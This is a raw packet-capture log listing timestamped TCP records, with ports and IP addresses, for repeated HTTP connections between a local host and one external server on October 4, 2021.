Oct 4, 2021 16:02:13.424755096 CEST	49949	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:13.553153992 CEST	80	49948	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:13.553395987 CEST	49948	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:13.553922892 CEST	49948	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:13.554018021 CEST	49948	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:13.584335089 CEST	80	49949	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:13.584430933 CEST	49949	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:13.584606886 CEST	49949	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:13.584652901 CEST	49949	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:13.712800026 CEST	80	49948	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:13.743638039 CEST	80	49949	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:13.752646923 CEST	80	49948	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:13.783132076 CEST	80	49949	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:14.037156105 CEST	80	49948	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:14.037404060 CEST	80	49948	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:14.037522078 CEST	49948	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:14.084959030 CEST	80	49949	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:14.084985971 CEST	80	49949	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:14.085139990 CEST	49949	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:14.272741079 CEST	49954	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:14.285700083 CEST	49955	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:14.391489983 CEST	80	49954	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:14.391590118 CEST	49954	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:14.391756058 CEST	49954	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:14.391829967 CEST	49954	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:14.442982912 CEST	80	49955	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:14.443444014 CEST	49955	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:14.443991899 CEST	49955	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:14.444185972 CEST	49955	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:14.511389017 CEST	80	49954	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:14.552264929 CEST	80	49954	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:14.600231886 CEST	80	49955	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:14.640265942 CEST	80	49955	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:14.851907969 CEST	80	49954	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:14.851933002 CEST	80	49954	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:14.852063894 CEST	49954	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:15.106513023 CEST	80	49955	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:15.106573105 CEST	80	49955	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:15.106722116 CEST	49955	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:15.113446951 CEST	49959	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:15.272732973 CEST	80	49959	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:15.273149014 CEST	49959	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:15.273339987 CEST	49959	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:15.273407936 CEST	49959	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:15.378928900 CEST	49962	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:15.432374954 CEST	80	49959	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:15.472227097 CEST	80	49959	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:15.535219908 CEST	80	49962	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:15.535377026 CEST	49962	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:15.535835028 CEST	49962	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:15.535955906 CEST	49962	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:15.691843033 CEST	80	49962	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:15.731204033 CEST	80	49962	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:15.765755892 CEST	80	49959	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:15.765789986 CEST	80	49959	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:15.765969038 CEST	49959	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:16.008814096 CEST	80	49962	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:16.008878946 CEST	80	49962	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:16.008961916 CEST	49962	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:16.016180038 CEST	49966	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:16.131216049 CEST	80	49966	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:16.131793976 CEST	49966	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:16.132108927 CEST	49966	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:16.132168055 CEST	49966	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:16.233880043 CEST	49968	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:16.246891975 CEST	80	49966	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:16.286827087 CEST	80	49966	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:16.351495028 CEST	80	49968	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:16.352200031 CEST	49968	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:16.352236032 CEST	49968	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:16.352241993 CEST	49968	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:16.470150948 CEST	80	49968	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:16.509798050 CEST	80	49968	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:16.629178047 CEST	80	49966	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:16.629576921 CEST	80	49966	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:16.629739046 CEST	49966	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:16.835743904 CEST	80	49968	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:16.835946083 CEST	80	49968	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:16.836034060 CEST	49968	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:16.916171074 CEST	49970	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.016068935 CEST	49971	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.031253099 CEST	80	49970	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:17.031383038 CEST	49970	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.031524897 CEST	49970	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.031671047 CEST	49970	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.134355068 CEST	80	49971	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:17.134455919 CEST	49971	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.134639025 CEST	49971	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.134697914 CEST	49971	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.146246910 CEST	80	49970	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:17.185693026 CEST	80	49970	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:17.252178907 CEST	80	49971	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:17.292053938 CEST	80	49971	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:17.493743896 CEST	80	49970	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:17.493968010 CEST	80	49970	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:17.494132042 CEST	49970	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.591219902 CEST	80	49971	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:17.592797041 CEST	80	49971	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:17.593308926 CEST	49971	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.786847115 CEST	49973	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.798790932 CEST	49974	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.946110964 CEST	80	49973	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:17.946357012 CEST	49973	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.946556091 CEST	49973	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.946618080 CEST	49973	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.958137035 CEST	80	49974	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:17.962277889 CEST	49974	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.962421894 CEST	49974	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:17.962475061 CEST	49974	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:18.105504036 CEST	80	49973	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:18.121480942 CEST	80	49974	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:18.149601936 CEST	80	49973	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:18.161341906 CEST	80	49974	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:18.426333904 CEST	80	49973	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:18.426362038 CEST	80	49973	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:18.426532984 CEST	49973	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:18.444649935 CEST	80	49974	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:18.444668055 CEST	80	49974	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:18.444844961 CEST	49974	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:18.604038000 CEST	49975	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:18.621303082 CEST	49976	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:18.765610933 CEST	80	49975	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:18.766011000 CEST	49975	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:18.766048908 CEST	49975	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:18.766063929 CEST	49975	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:18.781691074 CEST	80	49976	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:18.781824112 CEST	49976	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:18.782006979 CEST	49976	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:18.782078028 CEST	49976	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:18.926727057 CEST	80	49975	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:18.941682100 CEST	80	49976	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:18.971298933 CEST	80	49975	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:18.981291056 CEST	80	49976	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:19.250952005 CEST	80	49975	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:19.250984907 CEST	80	49975	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:19.251089096 CEST	49975	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:19.267751932 CEST	80	49976	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:19.267781019 CEST	80	49976	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:19.267873049 CEST	49976	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:19.445014954 CEST	49977	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:19.526106119 CEST	49978	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:19.604360104 CEST	80	49977	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:19.604468107 CEST	49977	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:19.604773045 CEST	49977	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:19.604968071 CEST	49977	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:19.683636904 CEST	80	49978	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:19.683758020 CEST	49978	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:19.683983088 CEST	49978	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:19.684096098 CEST	49978	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:19.765767097 CEST	80	49977	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:19.804666996 CEST	80	49977	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:19.840572119 CEST	80	49978	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:19.879190922 CEST	80	49978	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:20.194574118 CEST	80	49978	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:20.194673061 CEST	80	49978	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:20.194797039 CEST	49978	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:20.197896004 CEST	80	49977	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:20.198597908 CEST	80	49977	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:20.199042082 CEST	49977	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:20.391627073 CEST	49979	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:20.456191063 CEST	49980	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:20.548614025 CEST	80	49979	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:20.549643993 CEST	49979	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:20.549923897 CEST	49979	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:20.549938917 CEST	49979	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:20.617791891 CEST	80	49980	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:20.617902040 CEST	49980	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:20.618093014 CEST	49980	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:20.618199110 CEST	49980	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:20.706469059 CEST	80	49979	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:20.745368004 CEST	80	49979	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:20.777947903 CEST	80	49980	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:20.818259001 CEST	80	49980	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.027817011 CEST	80	49979	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.027842045 CEST	80	49979	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.028489113 CEST	49979	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:21.139925957 CEST	80	49980	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.140686035 CEST	80	49980	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.141230106 CEST	49980	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:21.239598989 CEST	49981	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:21.354424000 CEST	80	49981	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.354947090 CEST	49981	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:21.354959965 CEST	49981	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:21.354963064 CEST	49981	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:21.404561043 CEST	49982	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:21.469532013 CEST	80	49981	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.508716106 CEST	80	49981	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.519644976 CEST	80	49982	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.519839048 CEST	49982	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:21.520010948 CEST	49982	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:21.520071983 CEST	49982	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:21.634908915 CEST	80	49982	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.674806118 CEST	80	49982	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.787209988 CEST	80	49981	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.787281036 CEST	80	49981	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.787434101 CEST	49981	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:21.970110893 CEST	80	49982	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.970333099 CEST	80	49982	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:21.970518112 CEST	49982	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:21.976285934 CEST	49983	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:22.132379055 CEST	80	49983	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:22.134140015 CEST	49983	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:22.134502888 CEST	49983	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:22.134680986 CEST	49983	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:22.292922974 CEST	80	49983	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:22.330328941 CEST	80	49983	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:22.443979979 CEST	49984	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:22.559232950 CEST	80	49984	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:22.566222906 CEST	49984	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:22.574151993 CEST	49984	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:22.574254990 CEST	49984	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:22.688766956 CEST	80	49984	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:22.728729010 CEST	80	49984	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:22.812891960 CEST	80	49983	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:22.812997103 CEST	80	49983	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:22.813088894 CEST	49983	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:23.010622025 CEST	49985	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:23.125514030 CEST	80	49985	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:23.125699997 CEST	49985	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:23.125866890 CEST	49985	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:23.125929117 CEST	49985	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:23.154221058 CEST	80	49984	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:23.154254913 CEST	80	49984	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:23.154401064 CEST	49984	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:23.242188931 CEST	80	49985	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:23.282053947 CEST	80	49985	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:23.365971088 CEST	49986	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:23.523052931 CEST	80	49986	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:23.523197889 CEST	49986	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:23.523515940 CEST	49986	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:23.523639917 CEST	49986	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:23.561999083 CEST	80	49985	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:23.563950062 CEST	80	49985	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:23.564064026 CEST	49985	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:23.680721045 CEST	80	49986	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:23.719183922 CEST	80	49986	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:23.755486012 CEST	49987	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:24.012473106 CEST	80	49986	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:24.012506962 CEST	80	49986	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:24.012646914 CEST	49986	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:24.311727047 CEST	49988	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:24.430062056 CEST	80	49988	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:24.430361986 CEST	49988	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:24.431037903 CEST	49988	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:24.431377888 CEST	49988	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:24.550045967 CEST	80	49988	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:24.590365887 CEST	80	49988	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:24.885509968 CEST	80	49988	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:24.886096001 CEST	80	49988	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:24.886276007 CEST	49988	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:25.278623104 CEST	49989	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:25.439781904 CEST	80	49989	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:25.439995050 CEST	49989	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:25.440298080 CEST	49989	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:25.440517902 CEST	49989	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:25.601627111 CEST	80	49989	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:25.639210939 CEST	80	49989	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:25.925618887 CEST	80	49989	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:25.925645113 CEST	80	49989	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:25.927782059 CEST	49989	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:26.138765097 CEST	49990	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:26.298245907 CEST	80	49990	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:26.298358917 CEST	49990	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:26.298536062 CEST	49990	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:26.298609972 CEST	49990	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:26.458277941 CEST	80	49990	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:26.498285055 CEST	80	49990	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:26.768481970 CEST	49987	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:26.789442062 CEST	80	49990	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:26.789473057 CEST	80	49990	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:26.789537907 CEST	49990	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:26.887295961 CEST	80	49987	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:26.887411118 CEST	49987	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:26.887569904 CEST	49987	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:26.887661934 CEST	49987	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:26.997858047 CEST	49991	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:27.003097057 CEST	80	49987	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:27.043402910 CEST	80	49987	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:27.117625952 CEST	80	49991	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:27.117741108 CEST	49991	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:27.117958069 CEST	49991	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:27.118060112 CEST	49991	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:27.238280058 CEST	80	49991	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:27.275727034 CEST	80	49991	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:27.326937914 CEST	80	49987	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:27.326971054 CEST	80	49987	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:27.327143908 CEST	49987	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:27.506814957 CEST	49992	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:27.587758064 CEST	80	49991	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:27.588663101 CEST	80	49991	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:27.588756084 CEST	49991	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:27.630014896 CEST	80	49992	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:27.630173922 CEST	49992	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:27.630351067 CEST	49992	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:27.630422115 CEST	49992	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:27.750082016 CEST	80	49992	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:27.790515900 CEST	80	49992	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:27.893412113 CEST	49994	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.010071993 CEST	80	49994	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.010314941 CEST	49994	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.010622025 CEST	49994	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.010699034 CEST	49994	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.128408909 CEST	80	49994	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.128439903 CEST	80	49992	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.128479958 CEST	80	49992	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.130376101 CEST	49992	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.168415070 CEST	80	49994	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.310558081 CEST	49995	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.469631910 CEST	80	49995	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.469724894 CEST	49995	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.469907999 CEST	49995	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.469980001 CEST	49995	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.489767075 CEST	80	49994	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.489787102 CEST	80	49994	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.489864111 CEST	49994	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.632433891 CEST	80	49995	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.672388077 CEST	80	49995	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.672844887 CEST	49996	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.792298079 CEST	80	49996	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.792495012 CEST	49996	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.792766094 CEST	49996	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.792830944 CEST	49996	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:28.907278061 CEST	80	49996	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.948420048 CEST	80	49996	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.951874971 CEST	80	49995	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.956381083 CEST	80	49995	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:28.956459999 CEST	49995	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:29.246241093 CEST	49997	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:29.252465963 CEST	80	49996	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:29.258860111 CEST	80	49996	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:29.258975983 CEST	49996	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:29.404025078 CEST	80	49997	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:29.404171944 CEST	49997	80	192.168.2.3	198.38.82.168
